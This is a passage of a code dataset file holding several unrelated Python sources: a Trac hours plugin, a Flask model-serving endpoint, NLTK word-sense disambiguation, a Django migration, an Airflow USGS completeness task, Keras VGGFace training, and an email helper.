'1'\r\n item['shopurl_id'] = shopurlpackage['shopurl_id']\r\n item['updated_at'] = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n item['created_at'] = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n item['crawl_last_time'] = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n\r\n opt = str.split(node.xpath('td[12]//text()').extract_first(), ',')\r\n stock = str.split(node.xpath('td[13]//text()').extract_first(), ',')\r\n\r\n optqty = []\r\n for idx, size in enumerate(opt):\r\n temp_obj = {\r\n 'Size': str.replace(str.replace(size, '½', '.5'), 'UNI','UNIQUE')\r\n ,'stock': stock[idx] if int(stock[idx]) < 200 else 5\r\n ,\"optnm\": node.xpath('td[11]//text()').extract_first().strip() if node.xpath('td[11]//text()').extract_first() is not None else 'One Size'\r\n ,\"goods_consumer\": str.replace(node.xpath('td[15]//text()').extract_first(), ',','.').strip()\r\n ,\"goods_price\": item['price']\r\n }\r\n optqty.append(temp_obj)\r\n\r\n indexed_optqty = []\r\n for idx, opt in enumerate(optqty):\r\n indexed_optqty.append(dict({idx + 1: opt}))\r\n\r\n item['optqty'] = \"Sold out\" if len(indexed_optqty) == 0 else json.dumps(indexed_optqty)\r\n\r\n yield item\r\n\r\n # while i=x1)&(x<=x2)] = ((x-x1)*y2 + (x2-x)*y1)/(x2 - x1)\r\n effectOfCol.loc[x>=model[\"conts\"][col][-1][0]] = model[\"conts\"][col][-1][1] #Everything too late gets with the program\r\n return effectOfCol\r\n\r\ndef get_effect_of_this_cont_col_on_single_input(x, model, col):\r\n if x<=model[\"conts\"][col][0][0]:\r\n return model[\"conts\"][col][0][1] #everything outside our scope is flat, we ignore the details.\r\n for i in range(len(model[\"conts\"][col])-1):\r\n if (x>=model[\"conts\"][col][i][0] and x<=model[\"conts\"][col][i+1][0]):\r\n return ((x-model[\"conts\"][col][i][0])*model[\"conts\"][col][i+1][1] + (model[\"conts\"][col][i+1][0]-x)*model[\"conts\"][col][i][1])/(model[\"conts\"][col][i+1][0]-model[\"conts\"][col][i][0])#((x-p1)y1 + (p2-x)y2) / (p2 - p1)\r\n if x>=model[\"conts\"][col][len(model[\"conts\"][col])-1][0]:\r\n return model[\"conts\"][col][len(model[\"conts\"][col])-1][1]\r\n return \"idk lol\"\r\n\r\ndef get_effect_of_this_cat_col_on_single_input(x,model,col): #slightly roundabout approach so we can copy for columns\r\n for unique in model[\"cats\"][col][\"uniques\"]:\r\n if x==unique:\r\n return model[\"cats\"][col][\"uniques\"][unique]\r\n return model[\"cats\"][col][\"OTHER\"]\r\n\r\ndef get_effect_of_this_cat_col(inputDf, model, col):\r\n effectOfCol = pd.Series([model[\"cats\"][col][\"OTHER\"]]*len(inputDf))\r\n for unique in model[\"cats\"][col][\"uniques\"]:\r\n effectOfCol[inputDf[col]==unique] = model[\"cats\"][col][\"uniques\"][unique]\r\n return effectOfCol\r\n\r\ndef round_to_sf(x, sf=5):\r\n if x==0:\r\n return 0\r\n else:\r\n return round(x,sf-1-int(math.floor(math.log10(abs(x)))))\r\n\r\ndef roundify_dict(dyct, sf=5):\r\n opdyct=dyct.copy()\r\n for k in opdyct:\r\n if k==\"uniques\":\r\n for unique in opdyct[k]:\r\n opdyct[k][unique] = round(opdyct[k][unique], sf)#round_to_sf(opdyct[k][unique], sf)\r\n else:\r\n opdyct[k]=round(opdyct[k], sf)\r\n return opdyct\r\n\r\ndef roundify_ptlist(ptlyst, sf=5):\r\n oplyst = copy.deepcopy(ptlyst)\r\n for i in range(len(oplyst)):\r\n oplyst[i][1] = round(oplyst[i][1],sf)\r\n return oplyst\r\n\r\ndef explain(model, sf=5):\r\n print(\"BASE_VALUE\", round_to_sf(model[\"BASE_VALUE\"], sf))\r\n for col in model[\"conts\"]:\r\n print(col, roundify_ptlist(model[\"conts\"][col], sf))\r\n for col in model[\"cats\"]:\r\n print(col, roundify_dict(model[\"cats\"][col], sf))\r\n print(\"-\")\r\n\r\ndef prep_starting_model(inputDf, conts, pts, cats, uniques, target, boringValue=1, frac=1):\r\n \r\n model={\"BASE_VALUE\":inputDf[target].mean()*frac, \"conts\":{}, \"cats\":{}}\r\n \r\n for col in conts:\r\n model[\"conts\"][col]=[]\r\n for pt in pts[col]:\r\n model[\"conts\"][col].append([pt,boringValue])\r\n \r\n for col in cats:\r\n model[\"cats\"][col]={\"OTHER\":boringValue}\r\n model[\"cats\"][col][\"uniques\"]={}\r\n for unique in uniques[col]:\r\n model[\"cats\"][col][\"uniques\"][unique]=boringValue\r\n \r\n return model\r\n\r\ndef normalize_model(model, totReleDict):\r\n \r\n opModel = copy.deepcopy(model)\r\n \r\n for col in totReleDict[\"conts\"]:\r\n relaTimesRele = 0\r\n for i in range(len(opModel[\"conts\"][col])):\r\n relaTimesRele += opModel[\"conts\"][col][i][1] * totReleDict[\"conts\"][col][i]\r\n averageRela = relaTimesRele/sum(totReleDict[\"conts\"][col])\r\n for i in range(len(opModel[\"conts\"][col])):\r\n opModel[\"conts\"][col][i][1] /= averageRela\r\n opModel[\"BASE_VALUE\"] *= averageRela\r\n \r\n for col in totReleDict[\"cats\"]:\r\n relaTimesRele = 0\r\n skeys = get_sorted_keys(model, col)\r\n for i in range(len(skeys)):\r\n relaTimesRele += opModel[\"cats\"][col][\"uniques\"][skeys[i]] * totReleDict[\"cats\"][col][i]\r\n relaTimesRele += opModel[\"cats\"][col][\"OTHER\"] * totReleDict[\"cats\"][col][-1]\r\n averageRela = relaTimesRele/sum(totReleDict[\"cats\"][col])\r\n for i in range(len(skeys)):\r\n opModel[\"cats\"][col][\"uniques\"][skeys[i]] /= averageRela\r\n opModel[\"cats\"][col][\"OTHER\"] /= averageRela\r\n opModel[\"BASE_VALUE\"] *= averageRela\r\n \r\n return opModel\r\n\r\ndef enforce_min_rela(model, minRela=0.1): #I could generalize this to apply an arbitrary function\r\n \r\n opModel = copy.deepcopy(model)\r\n \r\n for col in opModel[\"conts\"]:\r\n for i in range(len(opModel[\"conts\"][col])):\r\n opModel[\"conts\"][col][i][1] = max(minRela, opModel[\"conts\"][col][i][1])\r\n \r\n for col in opModel[\"cats\"]:\r\n for u in opModel[\"cats\"][col][\"uniques\"]:\r\n opModel[\"cats\"][col][\"uniques\"][u] = max(minRela, opModel[\"cats\"][col][\"uniques\"][u])\r\n opModel[\"cats\"][col][\"OTHER\"] = max(minRela, opModel[\"cats\"][col][\"OTHER\"])\r\n \r\n return opModel\r\n\r\n\r\ndef caricature_this_cont_col(model, col, mult=1,frac=1,boringValue=1):\r\n \r\n opModel = copy.deepcopy(model)\r\n \r\n opModel[\"BASE_VALUE\"] *= frac\r\n \r\n for i in range(len(opModel[\"conts\"][col])):\r\n opModel[\"conts\"][col][i][1] = boringValue + mult*(opModel[\"conts\"][col][i][1]-boringValue)\r\n \r\n return opModel\r\n\r\n\r\ndef caricature_this_cat_col(model, col, mult=1,frac=1,boringValue=1):\r\n \r\n opModel = copy.deepcopy(model)\r\n \r\n opModel[\"BASE_VALUE\"] *= frac\r\n \r\n for u in opModel[\"cats\"][col][\"uniques\"]:\r\n opModel[\"cats\"][col][\"uniques\"][u] = boringValue + mult*(opModel[\"cats\"][col][\"uniques\"][u]-boringValue)\r\n \r\n opModel[\"cats\"][col][\"OTHER\"] = boringValue + mult*(opModel[\"cats\"][col][\"OTHER\"]-boringValue)\r\n \r\n return opModel\r\n\r\n\r\ndef caricature_model(model, mult=1, frac=0.5, boringValue=1):\r\n \r\n opModel = copy.deepcopy(model)\r\n \r\n opModel[\"BASE_VALUE\"] *= frac\r\n \r\n for col in opModel[\"conts\"]:\r\n opModel = caricature_this_cont_col(opModel, col, mult, 1, boringValue)\r\n \r\n for col in opModel[\"cats\"]:\r\n opModel = caricature_this_cat_col(opModel, col, mult, 1, boringValue)\r\n \r\n return opModel\r\n\r\n\r\nif __name__ == '__main__':\r\n exampleModel = {\"BASE_VALUE\":1700,\"conts\":{\"cont1\":[[0.01, 1],[0.02,1.1], [0.03, 1.06]], \"cont2\":[[37,1.2],[98, 0.9]]}, \"cats\":{\"cat1\":{\"uniques\":{\"wstfgl\":1.05, \"florpalorp\":0.92}, \"OTHER\":1.04}}}\r\n exampleDf = pd.DataFrame({\"cont1\":[0.013,0.015,0.025, 0.035], \"cont2\":[37,48,45,51], \"cat1\":[\"wstfgl\",\"florpalorp\",\"dukis\",\"welp\"], \"y\":[5,7,9,11]})\r\n \r\n print(get_effect_of_this_cont_col_on_single_input(0.012, exampleModel, \"cont1\")) #should be 1.02\r\n print(get_effect_of_this_cont_col_on_single_input(0.04, exampleModel, \"cont1\")) #should be 1.06\r\n print(get_effect_of_this_cat_col_on_single_input(\"florpalorp\", exampleModel, \"cat1\")) #should be 0.92\r\n print(get_effect_of_this_cat_col_on_single_input(12, exampleModel, \"cat1\")) #should be 1.04\r\n \r\n print(list(get_effect_of_this_cat_col(exampleDf, exampleModel, \"cat1\"))) #[1.05,0.92,1.04,1.04]\r\n print(list(get_effect_of_this_cont_col(exampleDf, exampleModel, \"cont1\"))) #[1.03,1.05,1.08,1.06]\r\n\r\n print(caricature_model(exampleModel,2, 0.5))\r\n \r\n ","sub_path":"apply_model.py","file_name":"apply_model.py","file_ext":"py","file_size_in_byte":9178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"413263820","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2009 Jeff Hammel \n# All rights reserved.\n#\n# This software is licensed as described in the file COPYING, which\n# you should have received as part of this distribution.\n#\n\nimport re\n\nfrom componentdependencies.interface import IRequireComponents\nfrom hours import TracHoursPlugin\nfrom trac.core import * \nfrom trac.perm import PermissionCache\nfrom trac.ticket.api import ITicketManipulator\nfrom trac.ticket.api import ITicketChangeListener\n\ntry:\n from mail2trac.interface import IEmailHandler\n from mail2trac.email2ticket import ReplyToTicket\n from mail2trac.utils import emailaddr2user\nexcept ImportError:\n IEmailHandler = None\n\nclass TracHoursByComment(Component):\n\n if IEmailHandler:\n implements(IEmailHandler, IRequireComponents, ITicketManipulator, ITicketChangeListener)\n else:\n implements(IRequireComponents, ITicketManipulator, ITicketChangeListener)\n\n # for ticket comments: 1.5 hours or 1:30 hours\n hours_regex = '(([0-9]+(\\.[0-9]+)?)|([0-9]+:[0-5][0-9])) *hours'\n\n # for singular hours: 1 hour\n singular_hour_regex = r'((^)|(\\s))1 *hour((\\W)|($))' \n\n ### method for IRequireComponents\n def requires(self):\n return [TracHoursPlugin]\n\n ### methods for ITicketManipulator\n \n def prepare_ticket(self, req, ticket, fields, actions):\n \"\"\"Not currently called, but should be provided for future\n compatibility.\"\"\"\n\n def validate_ticket(self, req, ticket):\n \"\"\"add hours through comments\"\"\"\n\n if not req.perm.has_permission('TICKET_ADD_HOURS'):\n return []\n\n # markup the comment and add hours\n comment = req.args.get('comment')\n if comment is None:\n return []\n\n req.args['comment'] = self.munge_comment(comment, ticket)\n return []\n\n def munge_comment(self, comment, ticket):\n def replace(match, ticket=ticket):\n \"\"\"\n callback for re.sub; this will markup the hours link\n \"\"\"\n return u'[%s %s]' % (('/hours/%s' % ticket.id), match.group())\n\n comment = re.sub(self.hours_regex, replace, comment)\n comment = re.sub(self.singular_hour_regex, u' [/hours/%s 1 hour]' % ticket.id, comment)\n return comment\n\n ### methods for IEmailHandler\n\n def match(self, message):\n reporter = emailaddr2user(self.env, message['from'])\n reply_to_ticket = ReplyToTicket(self.env)\n \n perm = PermissionCache(self.env, reporter) \n if not perm.has_permission('TICKET_ADD_HOURS'):\n return False\n return bool(reply_to_ticket.ticket(message))\n\n def invoke(self, message, warnings):\n reply_to_ticket = ReplyToTicket(self.env)\n ticket = reply_to_ticket.ticket(message)\n payload = message.get_payload()\n if isinstance(payload, basestring):\n if message.get('Content-Disposition', 'inline') == 'inline' and message.get_content_maintype() == 'text':\n message.set_payload(self.munge_comment(payload, ticket))\n else:\n for _message in payload:\n self.invoke(_message, warnings)\n return message\n\n\n ### methods for ITicketChangeListener\n\n \"\"\"Extension point interface for components that require notification\n when tickets are created, modified, or deleted.\"\"\"\n\n def ticket_changed(self, ticket, comment, author, old_values):\n \"\"\"Called when a ticket is modified.\n \n `old_values` is a dictionary containing the previous values of the\n fields that have changed.\n \"\"\"\n perm = PermissionCache(self.env, author)\n if perm.has_permission('TICKET_ADD_HOURS'):\n self.add_hours_by_comment(comment, ticket.id, author)\n\n def ticket_created(self, ticket):\n \"\"\"Called when a ticket is created.\"\"\"\n\n def ticket_deleted(self, ticket):\n \"\"\"Called when a ticket is deleted.\"\"\"\n # TODO: delete hours for this ticket\n\n ### internal method\n def add_hours_by_comment(self, comment, ticket, worker):\n \"\"\"\n add hours to a ticket via a comment string\n * comment : the comment string\n * ticket : the id of the ticket\n * worker : who worked the hours\n \"\"\"\n trachours = TracHoursPlugin(self.env)\n for match in re.finditer(self.hours_regex, comment):\n hours = match.groups()[0]\n if ':' in hours:\n hours, minutes = hours.split(':')\n seconds = 3600.0*float(hours) + 60.0*float(minutes)\n else:\n seconds = 3600.0*float(hours)\n _comment = re.sub('\\[/hours/[0-9]+ ' + self.hours_regex + '\\]', match.group(), comment)\n trachours.add_ticket_hours(ticket, worker, seconds, comments=_comment)\n\n for match in re.finditer(self.singular_hour_regex, comment):\n _comment = re.sub('\\[/hours/[0-9]+ 1 hour\\]', '1 hour', comment)\n trachours.add_ticket_hours(ticket, worker, 3600.0, comments=_comment)\n\n","sub_path":"trachoursplugin/branches/0.11/trachours/ticket.py","file_name":"ticket.py","file_ext":"py","file_size_in_byte":5062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"13063114","text":"#!/usr/bin/env python\nfrom VMParser import Parser\nfrom VMCodewriter import CodeWriter\nfrom pathlib import Path\nimport sys\n\n\ndef processDirectory(inputPath):\n fileName = str(inputPath.stem)\n myWriter = CodeWriter(fileName)\n lines = myWriter.initHeader()\n for f in inputPath.glob(\"*.vm\"):\n lines += processFile(f)\n return lines\n\n\ndef processFile(inputPath):\n myParser = Parser(inputPath)\n fileName = str(inputPath.stem)\n parsedProg = [line for line in myParser.parse()]\n myWriter = CodeWriter(fileName)\n return myWriter.writeCode(parsedProg)\n\n\ndef main():\n if (len(sys.argv) < 2):\n print(\"Enter VM file name or directory\")\n print(\"Example:\")\n print(\"{0} path_to_file.vm\".format(sys.argv[0]))\n print(\"{0} path_to_dir\".format(sys.argv[0]))\n input(\"Press Enter to exit...\")\n inputPath = Path(sys.argv[1])\n realPath = Path.resolve(inputPath)\n isDir = realPath.is_dir()\n if (isDir):\n outName = str(realPath / realPath.name)\n outFile = open(\"{0}.asm\".format(outName), 'w')\n output = processDirectory(realPath)\n outFile.write('\\n'.join(output))\n elif (realPath.suffix == \".vm\"):\n outName = str(realPath.parent / realPath.stem)\n outFile = open(\"{0}.asm\".format(outName), 'w')\n output = processFile(realPath)\n outFile.write('\\n'.join(output))\n else:\n print(\"Input file must be of .vm extension\")\n return None\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"VMTranslator.py","file_name":"VMTranslator.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"618497275","text":"# Web\nfrom flask import Flask, render_template\n\n# Processing\nfrom tensorflow.keras.models import load_model\nimport numpy as np\nimport tensorflow as tf\n\n\n# Initialize app and set secret key\napp = Flask(__name__)\n\n# Load model globally\nmodel = load_model(\"static/small_cnn_multilabel.h5\")\n\n\n# Img reading, processing and inference\ndef predict():\n\tprint ('FLLAAGG: entered get_receipt function')\n\t# Processing\n\t#np.random.seed(0)\n\timg = np.random.random((1, 128, 128, 3))\n\tprint ('FLLAAGG: generated img array')\n\t# Inference\n\tpred = model.predict(img, batch_size=1)\n\tprint (\"finished prediction\")\n\tprint ('FLLAAGG: finished inference')\n\n\treturn pred\n\n\t\n# Routes \n@app.route('/')\ndef hello_world():\n return 'Hello! Just making sure everything is working properly, now go to /serve'\n\n@app.route('/serve', methods=[\"POST\", \"GET\"])\ndef serve():\n\tprint ('FLLAAGG: entered serve page')\n\tpred = predict()\n\tprint ('FLLAAGG: exited function')\n\treturn str(pred)\n\n\nif __name__ == '__main__':\n app.run(debug=True, host='127.0.0.1', port=8080)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"45512212","text":"from nltk.corpus import senseval\nfrom nltk import NaiveBayesClassifier\nfrom nltk import ConfusionMatrix\nimport nltk.classify\nimport random\n\nclass WSD:\n def train(self, examples):\n featureset = [(sense_features(i.context, i.position), i.senses[0])\n for i in examples]\n self.classifier = nltk.NaiveBayesClassifier.train(featureset)\n\n def classify(self, objects):\n featureset = [(sense_features(i.context, i.position))\n for i in objects]\n return [self.classifier.classify(i) for i in featureset]\n \n def print_confusion_matrix(self, examples):\n gold = [i.senses[0] for i in examples]\n test = self.classify(examples)\n cm = ConfusionMatrix(gold, test)\n print(cm.pretty_format(sort_by_count=True,\n show_percents=True,\n truncate=9))\n \n def accuracy(self, examples):\n featureset = [(sense_features(i.context, i.position), i.senses[0])\n for i in examples]\n return nltk.classify.accuracy(self.classifier, featureset)\n\n def baseline_accuracy(self, examples):\n most_common = nltk.FreqDist([i.senses[0]\n for i in examples]).max()\n featureset = [(sense_features(i.context, i.position), most_common)\n for i in examples]\n return nltk.classify.accuracy(self.classifier, featureset)\n\ndef sense_features(context, pos):\n return {'prev-word': ('' if pos == 0 else context[pos-1][0]),\n 'prev-prev-word': ('' if pos < 2 else context[pos-2][0])}\n\ndef _solve(fileid):\n l = [i for i in senseval.instances(fileid)]\n random.seed(1245)\n random.shuffle(l)\n train_examples = l[1000:]\n test_examples = l[:1000]\n wsd = WSD()\n wsd.train(train_examples)\n print('Accuracy: %.2f' % wsd.accuracy(test_examples))\n print('Baseline accuracy: %.2f' % wsd.baseline_accuracy(test_examples))\n wsd.print_confusion_matrix(test_examples)\n\nif __name__ == '__main__':\n _solve('line.pos')\n _solve('hard.pos')\n _solve('serve.pos')\n","sub_path":"uio/INF5830/oblig/oblig2/buf/wsd.py","file_name":"wsd.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"552103508","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('CelebrityManager', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Genre',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=50)),\n ],\n ),\n migrations.CreateModel(\n name='Images',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, serialize=False, verbose_name='ID')),\n ('image', models.ImageField(upload_to='')),\n ],\n ),\n migrations.CreateModel(\n name='KeyWord',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=80)),\n ],\n ),\n migrations.CreateModel(\n name='Movie',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, serialize=False, verbose_name='ID')),\n ('poster', models.ImageField(upload_to='')),\n ('name', models.CharField(max_length=80)),\n ('year', models.DateField()),\n ('duration', models.DurationField()),\n ('rateOfUsers', models.FloatField()),\n ('rateOfSite', models.FloatField()),\n ('criticismOfUsers', models.TextField()),\n ('criticismOfSite', models.TextField()),\n ('criticismOfMagazines', models.TextField()),\n ('platt', models.ImageField(upload_to='')),\n ('teaser', models.ImageField(upload_to='')),\n ('story', models.TextField()),\n ('slogan', models.TextField()),\n ('sale', models.IntegerField()),\n ('budget', models.IntegerField()),\n ('company', models.TextField()),\n ('famousDialogue', models.TextField()),\n ('actors', models.ManyToManyField(to='CelebrityManager.Celebrity', related_name='movie_actors')),\n ('authors', models.ManyToManyField(to='CelebrityManager.Celebrity', related_name='movie_authors')),\n ('characters', models.ManyToManyField(to='CelebrityManager.Celebrity', related_name='movie_character')),\n ('directors', models.ManyToManyField(to='CelebrityManager.Celebrity', related_name='movie_directors')),\n ('musicians', models.ManyToManyField(to='CelebrityManager.Celebrity', related_name='movie_musician')),\n ('similarMovies', models.ManyToManyField(to='MovieManager.Movie', related_name='similarMovies_rel_+')),\n ],\n ),\n migrations.CreateModel(\n name='Prize',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, serialize=False, verbose_name='ID')),\n ('image', models.ImageField(upload_to='')),\n ('name', models.CharField(max_length=100)),\n ('date', models.DateField()),\n ('movie', models.ManyToManyField(to='MovieManager.Movie', db_constraint='prizes')),\n ],\n ),\n migrations.CreateModel(\n name='SoundTrack',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=80)),\n ('sound', models.FileField(upload_to='')),\n ('movie', models.ForeignKey(to='MovieManager.Movie', related_name='soundtracks')),\n ],\n ),\n migrations.CreateModel(\n name='Trailer',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, serialize=False, verbose_name='ID')),\n ('content', models.FileField(upload_to='')),\n ('movie', models.ForeignKey(to='MovieManager.Movie')),\n ],\n ),\n ]\n","sub_path":"MovieManager/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":4225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"321950032","text":"# -*- coding:utf-8 -*-\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Model\nfrom keras.callbacks import TensorBoard\nfrom keras import layers\nfrom keras.optimizers import SGD\nfrom datetime import datetime\nimport cv2\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\ntrain_batch_size=16\ntest_batch_size=16\ndatagen = ImageDataGenerator()\ntrain_data=datagen.flow_from_directory(r'E:\\dataset\\nonjiaoyu\\augAGE\\3Dchannel\\SFEW2.0\\train',\n #r'E:\\dataset\\jiaoyu\\aug_yuanshi\\SFEW2.0\\train',\n batch_size=train_batch_size,\n target_size=(224,224),\n shuffle=True,seed=66)\ntest_data=datagen.flow_from_directory(r'E:\\dataset\\nonjiaoyu\\augAGE\\3Dchannel\\SFEW2.0\\test',\n #r'E:\\dataset\\jiaoyu\\aug_yuanshi\\SFEW2.0\\test',\n batch_size=test_batch_size,\n target_size=(224,224),\n shuffle=True,seed=66)\n\nclasses=7\nimg_input = layers.Input(shape=(224,224,3))\n\n# Block 1\nx = layers.Conv2D(64, (3, 3), activation='relu', padding='same', name='conv1_1')(\n img_input)\nx = layers.Conv2D(64, (3, 3), activation='relu', padding='same', name='conv1_2')(x)\nx = layers.MaxPooling2D((2, 2), strides=(2, 2), name='pool1')(x)\n\n# Block 2\nx = layers.Conv2D(128, (3, 3), activation='relu', padding='same', name='conv2_1')(\n x)\nx = layers.Conv2D(128, (3, 3), activation='relu', padding='same', name='conv2_2')(\n x)\nx = layers.MaxPooling2D((2, 2), strides=(2, 2), name='pool2')(x)\n\n# Block 3\nx = layers.Conv2D(256, (3, 3), activation='relu', padding='same', name='conv3_1')(\n x)\nx = layers.Conv2D(256, (3, 3), activation='relu', padding='same', name='conv3_2')(\n x)\nx = layers.Conv2D(256, (3, 3), activation='relu', padding='same', name='conv3_3')(\n x)\nx = layers.MaxPooling2D((2, 2), strides=(2, 2), name='pool3')(x)\n\n# Block 4\nx = layers.Conv2D(512, (3, 3), activation='relu', padding='same', name='conv4_1')(\n x)\nx = layers.Conv2D(512, (3, 3), activation='relu', padding='same', name='conv4_2')(\n x)\nx = layers.Conv2D(512, (3, 3), activation='relu', padding='same', name='conv4_3')(\n x)\nx = layers.MaxPooling2D((2, 2), strides=(2, 2), name='pool4')(x)\n\n# Block 5\nx = layers.Conv2D(512, (3, 3), activation='relu', padding='same', name='conv5_1')(\n x)\nx = layers.Conv2D(512, (3, 3), activation='relu', padding='same', name='conv5_2')(\n x)\nx = layers.Conv2D(512, (3, 3), activation='relu', padding='same', name='conv5_3')(\n x)\nx = layers.MaxPooling2D((2, 2), strides=(2, 2), name='pool5')(x)\n\nx=layers.GlobalAvgPool2D()(x)\n#x=layers.Flatten()(x)\nx=layers.Dense(1024,activation='relu')(x)\nx=layers.Dense(1024,activation='relu')(x)\nx=layers.Dense(classes,activation='softmax')(x)\n# Classification block\n# x = Flatten(name='flatten')(x)\n# x = Dense(4096, name='fc6')(x)\n# x = Activation('relu', name='fc6/relu')(x)\n# x = Dense(4096, name='fc7')(x)\n# x = Activation('relu', name='fc7/relu')(x)\n# x = Dense(classes, name='fc8')(x)\n# x = Activation('softmax', name='fc8/softmax')(x)\n\nmodel = Model(img_input, x, name='vggface_vgg16') # load weights\nmodel.load_weights(r'E:\\dataset\\newdirectory\\vggface\\rcmalli_vggface_tf_notop_vgg16.h5', by_name=True)\nfor i in range(11):\n model.layers[i].trainable=False\nsgd = SGD(lr=0.0001, decay=0.000005, momentum=0.9, nesterov=True)\nmodel.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy'])\n#tensorboard = TensorBoard(log_dir='E:\\\\sansu\\\\python\\\\tensorboard\\\\' + TIMESTAMP)\nmodel.fit_generator(train_data,\n steps_per_epoch=(train_data.samples // train_batch_size),\n epochs=1,\n validation_data=test_data,\n validation_steps=(test_data.samples // test_batch_size))\n #callbacks=[tensorboard])\n\nimg=cv2.imread(r'E:\\dataset\\jiaoyu\\aug_yuanshi\\SFEW2.0\\train\\angry\\21_001108440_00000025.png_0_703.png')\nimg=cv2.resize(img,(224,224))\nimg=np.expand_dims(img,axis=0)\n\ndef print_feature(i):\n layer_model = Model(inputs=model.input,outputs=model.layers[i].output)\n layer_output = layer_model.predict(img)\n print(layer_output.shape)\n shape=layer_output.shape[1]\n plt.figure(i)\n for i in range(49):\n image=layer_output[:,:,:,i]\n image.shape=[shape,shape]\n plt.subplot(7,7,i+1)\n plt.imshow(image)\n plt.axis('off')\nprint_feature(3)\nprint_feature(6)\nprint_feature(10)\nprint_feature(14)\nprint_feature(18)\nplt.show()\n","sub_path":"带权重的vggface.py","file_name":"带权重的vggface.py","file_ext":"py","file_size_in_byte":4638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"566210480","text":"\"\"\"\nTask for USGS ARD completeness calculations\n\"\"\"\nimport logging\n\nfrom automated_reporting.utilities import helpers\nfrom automated_reporting.databases import odc_db, reporting_db_usgs, reporting_db\nfrom automated_reporting.utilities import completeness\n\nfrom datetime import timedelta\n\nlog = logging.getLogger(\"airflow.task\")\n\n\ndef task(\n next_execution_date, product, rep_conn, odc_conn, days, aux_data_path, **kwargs\n):\n \"\"\"\n Main function\n :return:\n \"\"\"\n log.info(\"Starting completness calc for: {}\".format(product[\"odc_code\"]))\n\n # Correct issue with running at start of scheduled period\n execution_date = next_execution_date\n execution_date = helpers.python_dt(execution_date)\n\n # Get path row list\n regions_list = helpers.get_aoi_list(aux_data_path, \"landsat_l1_path_row_list.txt\")\n log.info(\"Loaded AOI regions list: {} found\".format(len(regions_list)))\n\n # Get expected datasets from reporting table of USGS acquisitions\n start_time = execution_date - timedelta(days=days)\n end_time = execution_date\n expected_datasets = completeness.map_usgs_acqs_to_expected(\n reporting_db_usgs.get_m2m_metadata(\n rep_conn, product[\"acq_code\"], start_time, end_time\n )\n )\n\n # Get actual datasets from ODC query\n actual_datasets = completeness.map_usgs_odc_to_actual(\n odc_db.query(odc_conn, product[\"odc_code\"], execution_date, days)\n )\n\n # compute completeness and latency for every tile in AOI\n # calculate summary stats for whole of AOI\n summary, output = completeness.compute_completeness(\n expected_datasets, actual_datasets, regions_list\n )\n\n # write results to Airflow logs\n completeness.log_results(product[\"odc_code\"], summary, output)\n\n # generate the list of database writes for sensor/platform\n db_completeness_writes = completeness.generate_db_writes(\n product[\"odc_code\"], summary, \"all_ls\", output, execution_date\n )\n\n # write records to reporting database\n reporting_db.insert_completeness(rep_conn, db_completeness_writes)\n log.info(\n \"Inserting completeness output to reporting DB: {} records\".format(\n len(db_completeness_writes)\n )\n )\n\n return completeness.get_xcom_summary(summary, product[\"odc_code\"])\n","sub_path":"dags/automated_reporting/tasks/usgs_ard_completeness.py","file_name":"usgs_ard_completeness.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"564299794","text":"\"\"\"Simple handler for sending the email.\"\"\"\r\nimport smtplib\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.base import MIMEBase\r\nfrom email.encoders import encode_base64\r\n\r\n\r\ndef send_log_mail(sender, receiver, subject, message,\r\n file_to_send=None, file_name=None):\r\n \"\"\"\r\n This is a test\r\n\r\n :param sender: the sender as a string\r\n :param receiver: the receivers as a list or string separate by comma\r\n :param subject: the object of the mail\r\n :param message: the message as a string\r\n :param file_to_send: the path of the log file to send\r\n :param file_name: the name of the file that will\r\n append in the mail (could be different from the name of the path)\r\n \"\"\"\r\n\r\n msg = MIMEMultipart()\r\n msg['From'] = str(sender)\r\n msg['To'] = str(receiver)\r\n msg['Subject'] = subject\r\n message = message\r\n msg.attach(MIMEText(message))\r\n mailserver = smtplib.SMTP(\"smtphost.grenoble.xrce.xerox.com\", 25)\r\n\r\n if file_name:\r\n part = MIMEBase('application', \"octet-stream\")\r\n part.set_payload(open(file_to_send, \"rb\").read())\r\n encode_base64(part)\r\n part.add_header(\r\n 'Content-Disposition', 'attachment; filename=\"' + 